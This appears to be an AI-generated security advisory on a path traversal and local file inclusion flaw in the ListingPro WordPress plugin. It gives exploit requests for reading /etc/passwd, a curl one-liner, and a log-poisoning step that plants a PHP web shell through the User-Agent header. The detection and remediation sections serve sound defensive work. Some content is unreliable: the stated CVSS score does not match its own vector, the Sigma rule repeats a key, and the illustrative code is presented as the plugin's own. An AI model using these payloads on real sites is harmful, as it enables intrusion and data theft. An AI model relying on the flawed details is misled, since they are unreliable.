CVE-2024-39621

Executive Summary

CVE-2024-39621 is a critical Path Traversal vulnerability (CWE-22) in the WordPress plugin ListingPro by CridioStudio, affecting versions up to and including 2.9.4. The flaw allows an unauthenticated attacker to perform PHP Local File Inclusion (LFI) by manipulating path parameters, potentially leading to remote code execution, sensitive data disclosure, or full site compromise. The vulnerability resides in the listingpro-plugin component, which is a core part of the WordPress ecosystem. No official patch has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains high due to the nature of the flaw.

Supply Chain & Package Security

This vulnerability affects a commercial WordPress plugin distributed via the CridioStudio marketplace and potentially bundled with themes. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - Vulnerability does not affect other components.
• Confidentiality (C): High (H) - Full file read access possible.
• Integrity (I): Low (L) - Limited file modification via LFI.
• Availability (A): Low (L) - Potential denial of service via resource exhaustion.

Threat Level: High (8.0) - Unauthenticated remote exploitation with high confidentiality impact.

Deep Dive & Mechanics

The vulnerability exists in the listingpro-plugin component, specifically in how it handles file inclusion requests. The plugin fails to properly sanitize user-supplied input used in file path construction, allowing directory traversal sequences (e.g., ../) to escape the intended directory. An attacker can include arbitrary PHP files from the server, leading to:

• Local File Inclusion (LFI): Read sensitive files like /etc/passwd, wp-config.php, or log files.
• Remote Code Execution (RCE): If the attacker can upload a malicious file (e.g., via another vulnerability or log poisoning), they can include it and execute arbitrary PHP code.
• Information Disclosure: Expose database credentials, API keys, or source code.

The attack vector is typically through a GET or POST parameter that specifies a file path, such as ?template=../../../../etc/passwd. The plugin does not validate that the resolved path is within the allowed directory.

Vulnerable vs. Patched Code

Vulnerable Code (listingpro-plugin <= 2.9.4):

// In a file inclusion function
$template = $_GET['template'];
include( $template . '.php' );

This directly uses user input without sanitization, allowing path traversal.

Patched Code (Hypothetical):

// Patched version
$template = basename( $_GET['template'] );
$allowed_dir = plugin_dir_path( __FILE__ ) . 'templates/';
$file_path = realpath( $allowed_dir . $template . '.php' );
if ( strpos( $file_path, $allowed_dir ) === 0 && file_exists( $file_path ) ) {
    include( $file_path );
} else {
    // Error handling
}

The patched version uses basename() to strip directory components and realpath() to resolve the full path, then checks that it starts with the allowed directory.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress instance with ListingPro plugin version <= 2.9.4.
• Knowledge of a writable directory (e.g., uploads) for log poisoning.

Exploit Steps:

1. Identify vulnerable parameter: Use a web fuzzer to find parameters like template, file, or page that accept file paths.
2. Test path traversal: Send a request to include a known file:

   GET /wp-content/plugins/listingpro-plugin/some-page.php?template=../../../../etc/passwd
   

3. Achieve RCE via log poisoning:
   • Inject PHP code into server logs (e.g., via User-Agent header):

     User-Agent: <?php system($_GET['cmd']); ?>
     

   • Include the log file:

     GET /wp-content/plugins/listingpro-plugin/some-page.php?template=../../../../var/log/apache2/access.log&cmd=id
     

Example curl command:

curl -k "https://target.com/wp-content/plugins/listingpro-plugin/some-page.php?template=../../../../etc/passwd"

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for path traversal patterns: Look for ../ or ..\ in request parameters.
2. Check for unusual file inclusions: Alert on inclusion of files outside the plugin directory.
3. Log analysis: Search for requests to listingpro-plugin with suspicious parameters.

Honeypot Setup:

• Create a fake wp-config.php in a monitored directory to detect inclusion attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing ../ in parameters like template, file, or page.
  • Requests to listingpro-plugin with non-standard file extensions.
• File System IOCs:
  • Unexpected files in the web root (e.g., shell.php).
  • Modified log files containing PHP code.
• System IOCs:
  • Unusual processes spawned by the web server user.
  • Outbound connections from the web server to unknown IPs.

Detection Engineering

YARA Rule

rule CVE_2024_39621_ListingPro_LFI {
    meta:
        description = "Detects path traversal attempts in ListingPro plugin"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-39621"
    strings:
        $traversal = /\.\.\// nocase
        $param1 = "template=" nocase
        $param2 = "file=" nocase
        $param3 = "page=" nocase
    condition:
        any of ($param*) and $traversal
}

Sigma Rule

title: CVE-2024-39621 ListingPro LFI Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects path traversal attempts against ListingPro plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - 'template='
            - 'file='
            - 'page='
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other plugins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-39621 ListingPro LFI Attempt"; flow:to_server,established; content:"/wp-content/plugins/listingpro-plugin/"; http_uri; content:"../"; http_uri; pcre:"/(template|file|page)=/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns:

   SecRule ARGS "@contains ../" "id:1001,deny,msg:'Path traversal blocked'"
   

3. Restrict file permissions on sensitive files (e.g., wp-config.php to 400).

Long-term Fix:

• Apply input validation and sanitization as shown in the patched code example.
• Use realpath() and basename() to restrict file inclusion to a whitelist.
• Monitor vendor channels for an official patch.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.